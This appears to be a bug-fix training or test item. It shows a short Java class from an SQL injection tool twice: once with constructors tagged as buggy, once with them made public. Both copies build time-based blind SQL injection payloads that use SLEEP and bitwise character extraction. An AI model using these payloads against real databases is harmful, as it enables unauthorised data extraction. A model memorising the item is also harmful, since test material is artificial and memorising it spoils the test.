import com.jsql.model.blind.diff_match_patch.Diff;
public class TimeCallable extends AbstractBlindCallable {
private Calendar calendar1 = Calendar.getInstance();
private Calendar calendar2 = Calendar.getInstance();
private long diffSeconds;
<BUG>TimeCallable(String inj) {
</BUG>
this.blindUrl = "+and+if(" + inj + ",1,SLEEP(" + ConcreteTimeInjection.SLEEP + "))--+";
}
<BUG>TimeCallable(String inj, int indexCharacter, int bit) {
</BUG>
this.blindUrl = "+and+if(ascii(substring(" + inj + "," + indexCharacter + ",1))%26" + bit + ",1,SLEEP(" + ConcreteTimeInjection.SLEEP + "))--+";

import com.jsql.model.blind.diff_match_patch.Diff;
public class TimeCallable extends AbstractBlindCallable {
private Calendar calendar1 = Calendar.getInstance();
private Calendar calendar2 = Calendar.getInstance();
private long diffSeconds;
public TimeCallable(String inj) {
this.blindUrl = "+and+if(" + inj + ",1,SLEEP(" + ConcreteTimeInjection.SLEEP + "))--+";
}
public TimeCallable(String inj, int indexCharacter, int bit) {
this.blindUrl = "+and+if(ascii(substring(" + inj + "," + indexCharacter + ",1))%26" + bit + ",1,SLEEP(" + ConcreteTimeInjection.SLEEP + "))--+";
